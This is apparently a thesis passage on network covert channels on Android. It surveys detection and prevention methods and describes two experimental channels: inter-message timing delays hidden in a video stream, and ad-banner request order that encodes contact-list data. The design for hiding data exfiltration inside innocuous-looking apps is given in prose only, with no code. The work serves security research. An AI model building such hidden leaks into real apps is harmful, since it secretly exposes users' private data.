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ABSTRACT 
 
 
Network covert channels are used to exfiltrate information from a secured environment in 
a way that is extremely difficult to detect or prevent. These secret channels have been identified 
as an important security threat to governments and the private sector, and several research efforts 
have focused on the design, detection, and prevention of such channels in enterprise-type 
environments. 
Mobile devices have become a ubiquitous computing platform, and are storing or have 
access to an increasingly large amount of sensitive information. As such, these devices have 
become prime targets of attackers who desire access to this information. 
In this work, we explore the implementation of network covert channels on the Google 
Android mobile platform. Our work shows that covert communication channels can be 
successfully implemented on the Android platform to allow data to be leaked from these devices 
in a manner that hides the fact that subversive communication is taking place. 
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CHAPTER 1 
INTRODUCTION 
A network covert channel (network CC) is the use of a shared resource, namely a 
network communications channel, to transfer information in a way which it was not initially 
designed for. Network covert channels are used to exfiltrate data from a secure location to a non-
secure location without being detected or prevented by traditional information security protection 
techniques such as firewalls, encryption, or intrusion detection systems. 
This work discusses the implementation of network covert channels on the Google 
Android mobile platform. Mobile devices such as smart phones and tablets have become a 
ubiquitous computing platform, and an increasing amount of sensitive data is being stored on 
these portable devices.  
The Android platform accounts for just under 50% of the worldwide smart phone market 
[1] and combined with its open application market policy, is a prime target for malicious 
applications that steal users' data. 
In this work, we show that covert communication channels can be implemented on the 
Google Android platform that allow data to be leaked from the device to a remote server in a 
manner where it appears that no subversive communication is taking place.  
2 
Mobile platforms currently have only limited implementations of firewalls, intrusion 
detection systems, and other network security features, but this is likely to change as the 
information value that these devices hold increases. 
Gaining a better understanding and developing improved methods of network covert 
channel prevention and detection are vital to the information security efforts in both private and 
government sectors, and have been the focus of much research in the past years. Little, if any, of 
this research has explored covert channels on mobile platforms. It is important that research 
begin in this area in order to develop proactive protection and prevention mechanisms. 
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CHAPTER 2 
BACKGROUND AND RELATED WORK 
This chapter provides a description of the motivation behind and usage of covert 
channels, along with an overview of various implementations of covert channels, detection 
techniques, and prevention mechanisms. 
2.1 Problem Description 
   Covert channels can be described using the analogy of two prisoners attempting to 
escape. Simmons proposed this "prisoner problem" in 1983, which is the standard model used 
when describing covert channel communication [2]. The model describes two individuals, Alice 
and Bob, who are imprisoned and intend to escape. The two prisoners are allowed to speak with 
one another, but a third party (Wendy the Warden) monitors all communication between the two. 
In order to coordinate an escape plan, Alice and Bob must communicate with one another in a 
manner that does not alert Wendy, who will place the two in solitary confinement the moment 
she detects anything suspicious, making the escape impossible. In order to not be detected by 
Wendy, Alice and Bob must communicate messages that appear innocent, but contain hidden 
information that Wendy will not notice. 
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This scenario is translated to a network environment [3] where Alice and Bob use two 
networked computers for communication (and Alice and Bob may be the same person). Wendy 
represents the network management that exists between Alice and Bob (firewalls, intrusion 
detection systems, and other security mechanisms) that are able to monitor the traffic between 
Alice and Bob and alter, disrupt, or eliminate a detected subversive communication channel. 
2.2 Purpose of Covert Channels 
The primary goal of a covert channel is to hide the fact that communication is taking 
place at all. Covert channels differ from cryptography, where the primary goal is to transfer data 
that is only readable by the receiver [4] rather than hide the existence of communication. Covert 
Channels are similar to steganography, where a secret message is hidden or embedded within 
legitimate data, but are differentiated by the techniques used to hide the secret message. For 
example, a steganography approach might be to embed a secret message in the unused header 
fields of a TCP/IP packet, whereas a covert channel approach would be to encode the secret 
message by altering the delays between the TCP/IP packets. 
Covert channels are desirable to exfiltrate sensitive information for several reasons. One, 
the use of a normal communications channel (such as an FTP or HTTP connection) is easily 
detected by wardens looking for malicious traffic. This type of traffic can be captured in log files 
and traffic dumps, and then analyzed and prevented. Making the communication channel more 
obscure, by methods such as using nonstandard port numbers, is also easily detectable and would 
trigger mechanisms such as packet anomaly detection systems [4]. 
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Our goal in this work is to show that communication channels between an Android 
device and a remote server can be implemented in ways that are undetectable by network 
wardens.  
2.3 A Covert Channel Scenario 
Covert channels can be employed in a number of scenarios where data needs to be 
transferred undetected. For example, imagine that an attacker has compromised a system within 
a secure computing environment, such as a financial institution or military base, and gained 
access to sensitive information. These types of environments employ a variety of network 
security features such as firewalls and intrusion detection systems to detect and prevent the leak 
of such sensitive data to outside networks or systems. The challenge for the attacker is to 
exfiltrate this data to an unsecure location without being detected, and covert channels provide a 
means to do so. 
2.4 Types and Classifications of Covert Channels 
Network covert channels can, in a broad sense, be classified as either storage-based 
(Figure 2.1) or timing-based (Figure 2.2), but the distinction between the two is quite blurred. 
Storage-based covert channels, or covert storage channels (CSC), operate by altering the content 
of some resource that can be observed by a receiver [5]. Cabuk describes the implementation of a 
simple binary CSC in [5]. This channel operates using a timeline divided into intervals of size  , 
known by both the sender and receiver. The sender transmits a bit value of   by maintaining 
silence throughout a given interval, and transmits a bit value of   by sending a packet or 
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becoming active during a given interval. Timing-based covert channels, or covert timing 
channels (CTC), operate by altering the delays between network events, such as the sending of a 
packet. Berk implemented one of the earlier examples of a network covert timing channel by 
encoding a message using interpacket delays [4]. This channel operates using a set of time 
intervals             . Each time interval is associated with a symbol from the input alphabet, 
and the delay between consecutive packets (interpacket delay) is altered to transmit a given 
symbol.  
 
Figure 2.1 Storage Covert Channel 
 
 
Figure 2.2 Timing Covert Channel 
Covert channels can also be classified as either active or passive. Active covert channels 
generate additional traffic in order to transmit information. Passive covert channels, on the other 
hand, manipulate existing traffic. The type of channel implemented is strongly dependent on the 
network positioning of the sender and receiver of the covert channel, which we will refer to as 
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Alice and Bob respectively. An active covert channel requires that Alice be the sender of the 
overt channel in which the covert channel is hidden. Bob does not necessarily have to be the 
receiver of the overt channel. He could be a middleman, and even act to remove the covert 
channel before it arrives at its ultimate destination. In a passive covert channel, both Alice and 
Bob act as middlemen, manipulating an existing overt channel that exists between legitimate 
users. In this scenario, Alice may have compromised the machine that is generating the 
legitimate traffic, or has compromised an intermediate node between the sender and receiver, 
such as a router. The positioning combinations and resulting channels are shown in Figure 2.3. 
 
Figure 2.3 Position Combinations for Covert Sender/Receiver 
Another way to classify covert channels is as either noisy or noiseless. If Bob is able to 
isolate the covert channel traffic from legitimate traffic, the channel is considered noiseless. In 
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other words, there may be other traffic on the network, but Bob is able to distinguish the packets 
or messages that are used in the covert channel from others that might exist. If, on the other 
hand, Bob is not able to isolate the covert channel traffic, the channel is considered noisy. Often, 
covert channel implementations will introduce noise purposefully to increase their resistance to 
detection. 
Yet another way to classify covert channels is as either stable or jittery. If   is the input 
alphabet (symbols sent by Alice), and   is the output alphabet (symbols observed by Bob), the 
channel is considered stable if the relationship between   and   remains static. If the relationship 
varies, due to factors such as network degradation, the channel is considered jittery. Jitter is 
usually caused by changing network conditions, but can also be introduced by covert channel 
prevention mechanisms in an attempt to disrupt a covert channel. 
2.5 Covert Channel Implementations 
Network covert channels have been implemented in a number of ways, all designed with 
the goals of resistance to detection and increased capacity versus the basic timing and storage 
implementations described above. This section discusses several of these efforts towards 
implementing network covert channels. 
2.5.1 Packet Rate Modulation CSC 
The technique of implementing a covert storage channel using packet rate modulation, 
discussed in [6], encodes information by establishing a time interval   and transmitting data 
during a given interval    at a rate representing a specific input symbol   . This results in a more 
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robust covert storage channel compared to the basic implementation discussed in section 2.4. In a 
simple binary scenario, a sender could encode a binary   by transmitting at a rate    for a period 
of length  , or a binary   by transmitting a rate    for a period of length  . This technique is 
easily detectable using standard traffic shape and regularity tests, which are discussed below. 
2.5.2 Time-Replay CTC 
The technique of implementing a covert timing channel by replaying interpacket delays 
observed in legitimate traffic is discussed in [7]. The technique uses a sample of interpacket 
delays observed from legitimate traffic (   ) partitioned into two equal bins    and   . To 
transmit a binary  , a random interpacket delay from    is transmitted. To transmit a binary  , a 
random interpacket delay from    is transmitted. This approach results in a covert channel that is 
more resistant to detection than the basic binary timing CC implementation discussed in section 
2.4. 
2.5.3 Model-Based CTC 
Model-based covert timing channels, discussed in [8] and [9], are implemented in a 
manner that mimics the statistical properties of legitimate traffic, making them very difficult to 
detect. Model-based CTC’s are implemented in four phases. The first phase observes and records 
the interpacket delays of legitimate traffic. The second phase analyzes the traffic to determine the 
best distribution model (Exponential, Gamma, Pareto, Lognormal, Poisson, Weibull, etc.) by 
using root mean squared error and maximum likelihood estimation. Once a model has been 
chosen, the third and final phase determines the appropriate interpacket delay times to be used 
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for the covert channel using the inverse distribution function of the selected model and encodes 
the channel. Decoding by the receiver is performed using the cumulative distribution function. 
This implementation is very difficult to detect if the legitimate traffic that the model is based on 
is independent and identically distributed. 
2.5.4 TCP Data Burst Encoding CSC 
A transmission control protocol (TCP) databurst is the number of TCP segments sent by a 
host before waiting for a TCP ACK packet. Luo, in [10] discusses the technique of implementing 
a covert storage channel by altering the size of these databursts.  
This technique results in a covert channel that has a very low capacity, and is easily 
detectable since traffic containing this type of covert channel has very different statistical 
properties versus normal traffic. 
2.6 CC Detection Techniques 
Efforts towards the detection of covert channels have primarily focused on timing-based 
covert channels. The goal of detection, given a chain of consecutive interpacket delays    , is to 
determine if it is possible to affirm with a certain probability that there has been malicious intent 
from within the network [4]. In other words, is a given set of observed interpacket delays specific 
or discernible enough to most likely not have been generated by chance? 
There are two general types of detection techniques: regularity-based [11, 12] , and 
shape-based [4, 13]. The regularity of traffic is described by second or higher-order statistics, 
such as correlations in the data. Regularity tests include variance testing and other statistical 
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methods. The shape of traffic is described by first-order statistics including mean, variance, and 
distributions. Shape tests are invariant on permutations of the dataset. Shape tests include the 
Kolmogorov-Smirnov test and entropy-based detection. 
2.6.1 Detection Using Variance Pattern Examination 
Cabuk discusses early efforts towards developing regularity-based tests in [14] by 
examining variance patterns in a set of observed interpacket delays. This method is implemented 
by separating interpacket delays from observed traffic into windows of size  . Then, for each 
window  , the standard deviation    is computed. Next, the difference between each pair of 
windows       is computed. Finally, the standard deviation of all pair differences is computed to 
obtain a summary statistic (Formula 2-1). 
                 (
|     |
  
)             (2-1) 
Covert channels will have a smaller regularity value than normal channels. This test is effective 
at detecting very simple covert channels, but fails with more advanced implementations such as 
model-based channels [8]. 
2.6.2 Detection Using Shannon Capacity 
Berk developed an early detection technique based on calculating the Shannon capacity 
of a covert channel (how many bits per symbol yields the highest transmission rate) to determine 
the most efficient coding scheme for that channel (how many input symbols, or delays, are used 
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for encoding) [4]. The technique assumes that an attacker desires to transmit information in the 
most efficient means possible.  
Shannon capacity is defined as 
                                (2-2) 
where    is a probability distribution on the input symbols and        is the mutual 
information between   and   which is a measure of the dependence between the two random 
variables. The computation of the Shannon capacity of a channel is accomplished by first 
experimentally constructing a probability matrix, or channel matrix. This matrix gives the 
probability of receiving output symbol   (interpacket delay  ) when input symbol   (interpacket 
delay  ) is transmitted. In other words, this matrix contains the probabilities of what a sent 
interpacket delay will actually be observed as. When determining this probability matrix, one 
cannot be sure that an attacker will observe symbols   given that   was transmitted with the 
same probability that is calculated experimentally. In a real scenario, the number of network 
hops between the secure network border and the covert channel's endpoint is unknown, and so it 
cannot be guaranteed that the calculated matrix will coincide with what an attacker would 
observe. Therefore, in Berk’s implementation, the probability matrix is calculated assuming a 
best-case scenario from the attacker’s point of view, and the covert channel endpoint is assumed 
to be at the network border. The probability matrix generated is also affected by network load. In 
order to account for these fluctuations, Berk generates matrices for several varying levels of 
network load, and uses a matrix that is suitable for all tested network conditions. 
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Once the probability matrix has been generated, the Arimoto-Blahut algorithm is used to 
determine the distribution of input symbols that provides the maximum channel capacity. The 
determined input symbol distribution provides the highest possible channel throughput, and is 
thus considered to be a prime candidate for use by an attacker.  
Once this optimal input symbol distribution has been determined, it is compared with the 
distribution of observed traffic. If the observed traffic closely matches the optimal input 
distribution, it is likely that there is a covert channel in use. 
There are several difficulties with this approach at detecting covert channels. For one, the 
optimal interpacket delay distribution may not be unique. Also, the generated probability matrix 
changes over time and so must be periodically updated, which can be an expensive operation. 
Finally, the entire method depends on the fact that the attacker attempts to achieve maximum 
channel capacity for their implemented covert channel. When channel capacity is maximized, the 
covert channel naturally becomes less stealthy and more prone to error. Attackers may often 
choose to implement a channel with a lower capacity, but higher stealth and accuracy. 
2.6.3 Detection Using Simple Statistical Analysis 
Berk also discusses the use of simple statistical analysis to detect covert channels in [4]. 
This method is based on the fact that in simple covert channels with   input symbols, the 
distribution of interpacket delays will center around   fairly distinct values. For example, in a 
simple binary channel, the distribution of interpacket delay times will center around two distinct 
values, while the mean value of the distribution will have a relatively low frequency. In a normal 
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channel, the distribution of interpacket delay times will center around a single value (the mean). 
From this, the probability that an observed traffic sample contains a covert channel is determined 
using Formula 2-3 where    is the histogram count at   and      is the highest histogram count. 
                  
  
    
 (2-3) 
 This method of covert channel detection is only good at detecting very simple covert 
channels. Attacker methods such as dynamically adjusting input symbols and the addition of 
noise can easily defeat this type of detection method. 
2.6.4  Detection Using ε-Similarity 
Detection using ε-similarity, developed by Cabuk, is a regularity-based test that is 
effective at detecting basic covert channels with little noise [5, 14]. The method begins by 
sorting observed interpacket delay times by value. Next, the relative difference between each 
pair of consecutive points is calculated by Formula 2-4. 
 
       
  
 (2-4) 
Finally, the ε-similarity is calculated by computing the percentage of relative differences that are 
less than a constant number ε. Covert channels will have a majority of relative differences that 
are very small, while normal channels will have far fewer.  
This technique is effective at detecting basic covert channels, as well as those that 
employ techniques such as alternating time intervals. 
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2.6.5 Detection Using Compressibility Tests 
Cabuk also explored the possibility of detecting covert channels using compressibility 
tests [5]. This detection technique relies on the fact that a set of items with a high degree of 
regularity is more compressible than a set of items with a higher degree of randomness. 
The Kolmogorov complexity of a string  , denoted as     , provides a lower bound on 
the representation of the string, or the most compressed version of the string, denoted as      
 . Kolmogorov complexity is not computable, but as Cabuk explains in his findings [5], off the 
shelf compression algorithms (e.g. gzip) can be used as an approximation. The compressibility of 
a string   is found by dividing the length of   by the length of  . Formally, this can be expressed 
as 
               such that       , and      
   
   
. (2-5) 
where        is a string to compress,   is the alphabet of symbols from which the string is 
drawn,   is the length of string  ,      is the resulting compressed string,   is the compressor 
(e.g. gzip),      is the compressibility of  , and     is the length operator.  
 The authors of [5] found that analyzing a traffic sample as a whole was not an effective 
way to detect covert channels using this technique when the channel was noisy (legitimate traffic 
is mixed in with covert traffic). To improve detection on noisy channels, the authors used a 
compressibility-walk procedure where compressibility scores are calculated for windows of size 
  in jumps of size  . When    , the windows overlap. For example, in one test, the authors 
used windows of size 500 with jumps of size 20, creating a large amount of overlap. Portions of 
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the traffic containing covert communication show up with high compressibility scores when 
using this method. To enrich the process further, the authors then examined the similarity 
relationship between consecutive windows. In samples of legitimate traffic, most windows have 
a similar compressibility score as their neighbor. On the other hand, when a sample contains 
covert traffic, even if the sample is noisy, many windows will not share a similar compressibility 
score with their neighbor. 
 This test is effective at detecting covert channels, including those that use dynamically 
changing input symbols. The authors' analysis shows that covert traffic is generally much more 
regular than overt traffic, and thus is more compressible. One interesting thing that the authors 
found, however, is that UDP traffic can have very regular interpacket delay times under stable 
network conditions due to it being a best-effort protocol. This led to a high false positive rate 
when analyzing UDP traffic. 
2.6.6 Detection Using Kolmogorov-Smirnov Test 
The Kolmogorov-Smirnov test determines whether or not two samples (or a sample and a 
distribution) differ. This technique is discussed in [15] and [16]. In [16], this test was used to 
detect watermarked interpacket delays (used in a network forensic technique to trace an 
attacker’s origin using delayed packets). The test measures the maximum distance between two 
empirical distribution functions (Formula 2-6) where   and    are empirical distribution 
functions of the two samples.  
                           (2-6) 
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In [15], the Kolmogorov-Smirnov test is used to compute the distance between known legitimate 
traffic samples (from a training set) and observed traffic to determine if a covert channel exists. 
 This test can successfully detect basic covert channels, but it not effective at detecting 
model-based covert channels. 
2.6.7 Detection Using Entropy Test 
The entropy test, developed by Gianvecchio, is currently the most effective at detecting 
covert channels [15]. Entropy is a measure of the uncertainty of a random variable (also referred 
to as Shannon Entropy). It is a measure of the amount of information missing if the value of a 
variable is unknown. Entropy will be low if the value of the variable can be predicted with a 
greater certainty (e.g. a loaded coin flip), and higher if the variable cannot be as easily predicted 
(e.g. a fair coin flip).        
 
Shannon entropy (SE) is defined as 
         ∑              
 
   
 (2-7) 
The entropy, a function of a given probability distribution, of a sequence of random variables is 
                  ∑                         
     
 (2-8) 
where            is the joint probability                 . The conditional entropy of 
a random variable given a previous sequence of random variables is 
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                                         (2-9) 
When dealing with a finite set of data, empirical probability density functions based on 
histograms are used to calculate the estimated entropy (EN) and estimated conditional entropy 
(CE).  
 For some values of , the value of the estimated conditional entropy (CE) tends to zero 
as  increases due to limited data. For this reason, the authors use corrected conditional entropy 
(CCE) in their detection algorithm, which is defined as 
                                                   (2-10) 
for a pattern of length , where          is the percentage of unique patterns of length  and 
       is the entropy with  fixed at one (only the first-order entropy). In other words, if a 
group of interpacket delays was separated into bins by value,          is the percentage of bins 
containing exactly one interpacket delay. The estimate of the entropy rate is the minimum     
over different values of . 
 In order to determine the probability distribution for observed interpacket delay times, 
histograms are used. To generate these histograms, a large collection of legitimate traffic is 
binned into   equally probable bins. The bin number of a given interpacket delay time   from a 
set of bins   can be determined using the formula      ⌊      ⌋, where   is the cumulative 
distribution function. Determining the value of  (numer of bins) represents a tradeoff. With 
higher values of  , more information about the distribution of the data is retained, as the number 
of possible patterns    is increased. However, with higher   values comes a reduced capacity to 
recognize longer patterns. With a lower  , less information is captured about the data, but 
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regularity is easier to measure because there are fewer possible patterns. Because of this tradeoff, 
the authors decided to use both fine-grained and coarse binning strategies (  values of     and   
respectively) [15]. In particular, coarse binning was used with the entropy test, while fine-
grained binning was used with the corrected entropy test. Coarse grain binning was essentially 
required when using the uncorrected entropy test due to the fact that because the sample sizes 
analyzed by the authors (less than 2,000 interpacket delay times each) were small, most bins 
were empty when using fine-grained binning. 
 Observed network samples are analyzed by mapping interpacket delay times to these 
bins, and calculating the entropy where the probability       of a symbol belonging to a 
particular bin is calculated as the percentage of interpacket delay times already in that bin. 
Covert channels are identified as having an entropy less than the calculated entropy for a known 
training set. 
 When both testing techniques were combined (CE and CCE), the detection method 
proved successful for all tests conducted by the authors, including simple covert channels, time-
replay covert channels, and model-based covert channels. 
2.7 CC Prevention Techniques 
Due to the difficulty of detecting covert channels, some researchers have instead focused 
their efforts on developing methods that attempt to prevent covert channels. 
One method, known as fuzzy time, introduces noise to the system clock [17]. This 
prevention technique relies on the fact that covert timing channels depend on access to an 
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accurate system clock. By removing this, covert timing channels are not able to be effectively 
implemented. The tradeoff is that other legitimate programs that depend on an accurate system 
clock are also affected. 
Kang et al. developed a noise-introducing system known as Pump [18]. This technique 
intercepts communication between a sender and a receiver and injects random noise into the 
acknowledgement stream. This technique effectively disrupts the timing of a covert channel, but 
introduces a level of network overhead. 
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CHAPTER 3 
METHODOLOGY AND IMPLEMENTATION 
This chapter discusses our implementations of network covert channels on the Android 
platform along with a description of our experimental setup, including a description of the 
hardware and network environment used during our research. This chapter also addresses the 
challenges we faced while developing covert channels for the Android platform and how these 
challenges were overcome. 
3.1 Implementation Overview 
To evaluate covert channels on the Android platform, we designed two implementations 
that stealthily transmit data from the phone to a remote server: a timing-based covert channel and 
a storage-based covert channel. Our timing-based CC is encoded using delays between network 
events, while our storage-based CC is encoded based on the ordering of network events. Both 
implementations involve embedding a covert channel in an innocuous appearing application. 
3.1.1 Timing-CC Implementation Overview 
In order to implement a timing-based channel on the Android platform, we required an 
application that would generate a large amount of legitimate traffic at a steady rate in order to 
make the embedding of a covert timing channel effective. To accomplish this, we developed an 
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application that transmits live video from the camera on the Android device to a remote 
server (presumably controlled by the attacker). In a real-world implementation, this server could 
then broadcast the video over the Internet similar to other applications such as Justin.TV®. The 
application essentially allows the phone to operate as an IP camera, and gives us plenty of overt 
traffic in which to embed a covert channel. The protocol we designed for this application sends 
one video frame per TCP message. The first four-byte segment of each TCP payload contains an 
integer with the size in bytes of the image payload. This message structure is shown in Figure 
3.1. 
 
Figure 3.1 Message Structure of Video Application  
In order to implement our covert channel, we alter the delays between sequential TCP messages. 
Delays are introduced between TCP messages on the Android device by using calls to the sleep 
method in the Android SystemClock library between TCP message transmissions. Our network 
covert timing channel uses binary encoding to transmit messages. In order for the covert channel 
to signal to the server that it is ready to begin transmission, it transmits the sequence of binary 
symbols 0-1-0-1-1-0-1-1 (Ascii code for '['). To signify the end of a transmission, the application 
simply stops transmitting any input symbols that represent a binary 1. 
The server-side of this application displays video streamed from the mobile device while 
capturing and recording the delays between received messages. Delays on the server-side are 
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calculated by measuring the time between receipts of complete TCP messages. This is done by 
using calls to the nanoTime method in the Java System library. If a delay is above a certain 
threshold value, the observed delay is treated as a binary 1. Otherwise, it is treated as a binary 0. 
The application reconstructs the transmitted covert message and displays it in plain text as it is 
received.  
3.1.2 Storage-CC Implementation Overview 
To implement a storage-based covert channel, we designed an application that displays a 
small advertisement banner at the bottom of an arbitrary application. The advertisements are 
fetched from our remote server, of which there are   choices of advertisements. Several real-
world Android applications display small advertisements that are fetched remotely, so this would 
not raise the suspicions of the end user. 
The application leaks information by requesting a specific advertisement to represent a 
specific encoded input token (binary values of the contacts list). If    advertisements are 
available, then each request can represent   bits of the data to be transmitted. The application 
fetches advertisements using HTTP requests with a POST parameter representing the specific ad 
to be fetched. 
Specific advertisements represent the beginning or end of a covert transmission. The 
server-side of this application responds to http requests with the appropriate ad, and records the 
sequence in which ads are requested during a covert transmission. The application displays 
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covert data in plain text as it is received by decoding the message based on the order of 
advertisement banners requested. 
3.2 Existing Problems and Implementation Challenges 
Several challenges were faced during our research and development of covert channels 
on the Android platform. This section discusses these challenges and how they were overcome. 
3.2.1 Access to Sensitive Data on Device 
A challenge we faced during our research was that of accessing the targeted sensitive data 
on the Android device. The Android operating system uses fine-grained per-application 
permissions that the user must approve at install time (e.g. permission to access the network and 
permission to access the contacts list). Applications that have both network access and access to 
sensitive data such as the contacts list raise suspicions from the user who must approve these 
permissions, and from security software that identifies over-privileged applications [19]. 
Exasperating this problem is the fact that applications on the Android platform are executed in 
isolated runtime environments. The Android operating system is a Linux-based OS where each 
application is run as a distinct user and group, which creates a sandboxed environment that 
separates each application from one another and from the underlying system. This prevents using 
the approach of dividing the attack into two separate applications - one for the data access and 
one for the network connectivity - because communication between the two is not possible. 
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3.2.2 Raw Socket Access 
A second challenge faced during our research involved the network implementation of 
our covert channels. The Android platform (and the Java programming language in general 
without accessing native libraries) does not allow an application to have access to raw sockets, so 
techniques used in traditional computing environments that alter the flow of packets in order to 
implement covert channels [4, 6, 7, 15] are not possible. Network programming on Android is 
limited to high-level socket communications (transport layer), and does not provide the ability 
for programmers to access lower levels of the network stack. The presence of low level socket 
access would represent a major security risk, as these types of operations require root access on 
the device. 
3.2.3 Cellular Network Quality 
A third challenge faced during our research was the difficulty of implementing our 
timing-based covert channel over the cellular network. The mobile phone network introduced a 
large amount of jitter and highly varying quality that caused synchronization and reliability 
issues in our implementation. We also discovered that very few UDP packets complete the trip 
from source to destination without being dropped.  
3.2.4 Implementation Methodology 
To overcome the challenge of accessing sensitive data on the Android platform, we relied 
on the method of on-device covert storage channels discussed by Schlegel et al. [19]. Schlegel 
showed that the protection mechanisms on the Android platform that prevent unauthorized 
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application-to-application communication can be subverted. The implementation puts in place 
malware in the form of two cooperating applications: one with permission to access sensitive 
data, and the other with network access. On-device covert channels were used to communicate 
data between the two applications. These channels rely primarily on changing a global setting 
that both applications had access to, such as the device's volume or screen brightness.  
Based on Schlegel's findings, we assume that our covert channel applications have access 
to the desired sensitive data on the target device while also having full network access, as would 
be the case for a real-world application.     
To overcome the challenge of the lack of low level socket access, we implemented 
custom TCP and UDP protocols to carry our legitimate application traffic. We encode a covert 
timing channel within the legitimate channel by altering the delays between protocol messages. 
We insert enough of a delay between protocol messages that the TCP stream is flushed between 
each message. We also disable TCP's Nagle algorithm, a congestion control technique used by 
TCP to combine multiple messages into a single packet to reduce the number of packets sent 
over the network. This allows us to have finer grained control over the timing of TCP messages. 
 The traffic quality challenges presented by the cellular network have forced us to use the 
TCP protocol only, since UDP traffic often does not make it through the network. We also used 
higher values for inter-message delays than would be necessary if access to raw sockets existed. 
This resulted in a lower bandwidth covert channel than one would normally be able to 
implement. 
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3.3 Experimental Setup 
This section describes the hardware and network environment used during our research, 
as well as the design details of our covert channel experiments on the Android platform.  
3.3.1 Mobile Platform 
For our mobile platform, we used a Motorola Droid X Smartphone. This platform was 
chosen because it is a fairly common smartphone, with widespread use in the real-world. The 
Droid X phone is powered by a 1GHz Texas Instruments Open Multimedia Application Platform 
(OMAP) 3630 processor chip, which uses an ARM Cortex-A8 processing unit. The unit has 
512MB of random access memory (RAM). The Droid X used during our experiments was 
running Android version 2.3.3 (codenamed Gingerbread) as its operating system. This was the 
most current operating system for this device as of the time of our research. For our experiments, 
all other running processes on the phone were killed other than our covert channel application 
and required system processes.  
3.3.2 Server Platform 
For our server platform, which served as the communications endpoint for both overt and 
covert traffic generated by our applications, we used a system powered by an Intel Core i7 
processor with 12GB of RAM running Windows 7 64-bit. Our server-side applications were 
written in Java, which the server ran using a Java 64-bit virtual machine, version 1.6.0_26.  
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3.3.3 Network Environment 
The Droid X used during our experiments was connected to the Internet via Verizon's 3G 
service in Chattanooga, TN. Verizon's network type in this location is a Code Division Multiple 
Access (CDMA) Evolution-Data Optimized (EV-DO) revision A network. Our typical signal 
strength during testing was -69 dBm, and all tests were performed from the same location.  As a 
reference, signal strength of -60 dBm represents a nearly perfect connection, while signal 
strength of -112 dBm represents a nearly unusable connection. 
The server platform used during our experiments was connected to the Internet via 
Electric Power Board's (EPB) fiber optics network, also in Chattanooga, TN, with a connection 
speed of 30 Mbps for both downlink and uplink. 
We performed several tests to establish a measure of network quality. We used the 
SpeedTest.net Android application by OOKLA in order to get a general idea of the quality of the 
Droid X’s Internet connection. This application tests the uplink and downlink speed to a 
geographically close server. We used the application to test connectivity to a server in 
McMinnville, TN hosted by Ben Lomand Telephone Systems. We performed multiple tests on 
weekday evenings (approximately 7:00pm local time) to capture network conditions during a 
time of relatively heavy network load. The speed tests provided fairly consistent results: 
approximately 2.0 Mbps downlink speed; approximately 0.7 Mbps uplink speed; and a ping time 
of approximately 200 ms.  
We also performed tests to judge the network quality between the mobile platform and 
our endpoint server. We used a TraceRoute application on the Droid X to determine that our 
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server platform was approximately 15 network hops away from the device. We performed 
similar tests using SpeedTest.net's server software to judge the network quality between the 
Droid X and our server. We performed these tests at the same time of day as the general network 
quality tests, and received similar results to the ones observed during testing to the McMinnville 
server for speeds, but lower ping values: approximately 2.0 Mbps downlink speed; 
approximately 0.6 Mbps uplink speed; and a ping of approximately 100 ms. 
3.3.4 Covert Timing Channel Experiment Design 
For our covert timing channel, we implemented a basic binary channel (two input 
symbols: binary 0 and binary 1). We designed two Android applications: a testing application 
that implements a covert channel without any overt traffic, and a real-world application that 
embeds a covert channel within overt traffic (described in section 3.1.1). The first was designed 
only for the purpose of determining baseline measurements of the network factors that would 
affect our covert channel, such as the correlation between transmitted symbols and observed 
symbols, the jitter introduced by the cellular network, and the max throughput capable for a 
binary channel. The channel is implemented by encoding covert traffic using delays between 1-
byte TCP messages. 
In order to establish baseline measurements of jitter, input to output symbol accuracy, 
and max throughput, we used our implementation that produces only covert traffic (no overt 
traffic) to perform experiments to test these factors. To test jitter and input to output symbol 
accuracy, we used the application to transmit several various input symbols (various delays 
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between TCP messages) 350 times each, and measured the observed symbol (observed delay) at 
the server end. These tests were all performed under similar network conditions. The goal of this 
experiment was to find a suitable input symbol to represent the long delay in our binary input 
alphabet (the short delay is represented by transmitting messages with no delay). 
Next, to test channel throughput and accuracy, we transmitted a short message 
("wadegasior@gmail.com") encoded in binary multiple times using various delays and measured 
the rate and accuracy of the message being received at the server-side. When transmitting string 
messages using our covert timing channel, each character of the string is transmitted using eight 
bits represented by the character's binary ASCII value.  
We then performed similar experiments using the second application, which embeds a 
covert channel within an overt video stream. These experiments were performed to determine the 
amount of jitter caused by the additional overt traffic on our covert channel, the accuracy of our 
covert channel in a real-world scenario, and the maximum bandwidth of our covert channel in a 
real-world scenario.  
Next, we tested the ability of three of the detection techniques discussed in Chapter 2 to 
detect our embedded covert channel. Since our covert channel is not designed to be resistant to 
detection, we expected that all three of these detection techniques would prove successful. We 
used both shape-based methods (simple statistical analysis and entropy-based detection) and a 
regularity-based method (variance pattern examination). As the inputs to these tests, we used two 
samples of 1,000 inter-message delays each: one collected from our video streaming application 
with no covert channel embedded, and the other collected from our video streaming application 
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with an embedded covert channel. The entropy-based test was performed using source code 
provided by the authors of [15] with   values (number of bins) of 5 and 20. The other two 
detection techniques were implemented with Python scripts. 
3.3.5 Covert Storage Channel Experiment Design 
Our covert storage channel is implemented using advertisement banners fetched from our 
server and displayed within the application on the Android device. We experimented with 
various input-output alphabets (number of advertisements available to fetch) and various delays 
between fetches to determine the throughput of this covert channel implementation. The size of 
the input-output alphabet determines the amount of information that can be transmitted with each 
advertisement request. In order to transmit   bits with each request,    advertisement banners 
must be available to fetch. The delay between advertisement banner fetches is governed by what 
a typical user would expect as a normal rate at which an advertisement banner would be updated. 
For example, if our embedded advertisement banner updates once every three seconds, it would 
be a telltale sign that suspicious activity is going on. 
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CHAPTER 4 
EXPERIMENTAL RESULTS AND ANALYSIS 
This chapter discusses our experimental results and empirical analysis of the throughput 
and accuracy of our covert channel implementations on the Android device. 
4.1 Covert Timing Channel - Baseline Input to Output Correlation Experimental Results 
Our first experiment uses a covert timing channel with no overt traffic overhead. We 
transmitted the delays listed in Table 4.1 350 times each, and analyzed the accuracy at which 
these delays were observed by our server. Our goal was to find the smallest input symbol 
(smallest inter-message delay value) that could be clearly distinguished from an input symbol of 
0 ms. 
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Table 4.1 
Input Delays Transmitted During Baseline Covert Timing Channel Experiment 
Delay (ms) 
0 
25 
50 
75 
100 
150 
200 
 
First, we transmitted TCP messages with an inter-message delay of 0 ms (no delay). The 
delays observed at the server-side showed a saw tooth pattern, where delays alternated between 
relatively high values (80 to 100 ms) and a value of 0 ms. Measurements for the first twenty 
observed delays are shown in Figure 4.1. 
 Figure 4.1 Output Symbols Observed with Input Symbol of 0 ms  
(First 20 Observed Delays) 
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The observed saw tooth pattern can be attributed to the delayed ACK feature present in the TCP 
